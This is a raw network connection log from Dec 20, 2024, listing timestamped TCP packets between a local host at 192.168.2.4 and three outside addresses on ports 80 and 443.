Dec 20, 2024 07:12:46.609599113 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.609652042 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.609736919 CET	443	49868	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:46.609954119 CET	443	49868	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:46.610044956 CET	49868	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:46.610323906 CET	49868	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:46.610323906 CET	49868	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:46.610335112 CET	443	49868	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:46.610343933 CET	443	49868	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:46.610527992 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.610641003 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.610673904 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.610750914 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.611555099 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.611649990 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.611655951 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.611723900 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.612591982 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.612663031 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.612745047 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.612812042 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.613636971 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.613737106 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.613753080 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.613825083 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.614655018 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.614737034 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.614795923 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.615724087 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.615833998 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.615888119 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.615921021 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.616741896 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.616800070 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.616863012 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.616969109 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.617772102 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.617887974 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.617919922 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.618093014 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.618817091 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.618926048 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.618932962 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.619074106 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.619843960 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.619951010 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.619961977 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.620033026 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.620878935 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.620945930 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.621009111 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.621077061 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.621912956 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.622040987 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.622068882 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.622109890 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.622968912 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.623086929 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.623100996 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.623142958 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.623986006 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.624073982 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.624098063 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.624248981 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.624991894 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.625066042 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.725747108 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.725811958 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.725995064 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.726218939 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.726325989 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.726455927 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.727262020 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.727333069 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.727757931 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.728255033 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.728307962 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.728394032 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.729365110 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.729470968 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.729564905 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.730298996 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.730393887 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.730447054 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.731364012 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.731616020 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.731666088 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.732326031 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.732469082 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.732518911 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.733350039 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.733402967 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.733448982 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.734376907 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.734472036 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.734532118 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.735378027 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.735521078 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.735637903 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.736493111 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.736577988 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.736655951 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.737449884 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.737538099 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.737585068 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.738456964 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.738521099 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.738570929 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.739509106 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.739617109 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.739674091 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.740510941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.740623951 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.740672112 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.741575003 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.741658926 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.741708994 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.742572069 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.742685080 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.742736101 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.743566036 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.743671894 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.743755102 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.744627953 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.744729042 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.744801044 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.745598078 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.745716095 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.745790005 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.746613026 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.746763945 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.746814013 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.747654915 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.747786045 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.747837067 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.748650074 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.748800039 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.748847961 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.749671936 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.749722958 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.749799967 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.750686884 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.750821114 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.751348972 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.751717091 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.751873970 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.752518892 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.752742052 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.752890110 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.752943039 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.753758907 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.753895044 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.753946066 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.754781008 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.754899979 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.754947901 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.755800962 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.755928040 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.755975962 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.756827116 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.756937981 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.757112026 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.757838011 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.757953882 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.758035898 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.758872032 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.759001970 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.759207010 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.759885073 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.760004997 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.760059118 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.760914087 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.761075020 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.761123896 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.761921883 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.762140989 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.762253046 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.762629032 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.762660027 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.762788057 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.762881041 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.762908936 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.762974977 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.763003111 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.763009071 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.763044119 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.763071060 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.763144970 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.763956070 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.764008999 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.764014006 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.764043093 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.764075994 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.764106989 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.764185905 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.765039921 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.765093088 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.765126944 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.765126944 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.765161037 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.765191078 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.765278101 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.766011953 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.766062021 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.766094923 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.766124964 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.766155005 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.766172886 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.766249895 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.767040968 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.767092943 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.767127037 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.767159939 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.767210960 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.767213106 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.767721891 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.768034935 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.768085003 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.768121004 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.768171072 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.768173933 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.768177986 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.768342018 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.769074917 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.769126892 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.769160032 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.769188881 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.769233942 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.769268990 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.769509077 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.770096064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.770180941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.770215034 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.770245075 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.770248890 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.770278931 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.770590067 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.771123886 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.771245956 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.771279097 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.771310091 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.771330118 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.771378994 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.772171974 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.772262096 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.772296906 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.772311926 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.772330999 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.772361040 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.772433043 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.773161888 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.773256063 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.773308039 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.773309946 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.773341894 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.773370028 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.773396969 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.774169922 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.774296045 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.774347067 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.774378061 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.774380922 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.774410963 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.774575949 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.775173903 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.775300980 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.775366068 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.775398970 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.775449038 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.775451899 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.776202917 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.776323080 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.776379108 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.776412964 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.776446104 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.776475906 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.776505947 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.777245045 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.777343988 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.777394056 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.777467966 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.777499914 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.777538061 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.777568102 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.778218985 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.778337002 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.778388023 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.778426886 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.778476000 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.778544903 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.778635979 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.779208899 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.779490948 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.779531002 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.779560089 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.779624939 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.780523062 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.780668974 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.780682087 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.780736923 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.781559944 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.781620979 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.781656981 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.781759024 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.782586098 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.782639027 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.782663107 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.782716036 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.783644915 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.783724070 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.783760071 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.783822060 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.784682989 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.784744978 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.784790039 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.784849882 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.785696030 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.785754919 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.785797119 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.785856962 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.786736965 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.786853075 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.786855936 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.786926031 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.787766933 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.787849903 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.787879944 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.787944078 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.788810015 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.788871050 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.788912058 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.788974047 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.789841890 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.789908886 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.789911032 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.789971113 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.790829897 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.790906906 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.791002989 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.791065931 CET	49867	80	192.168.2.4	31.41.244.11
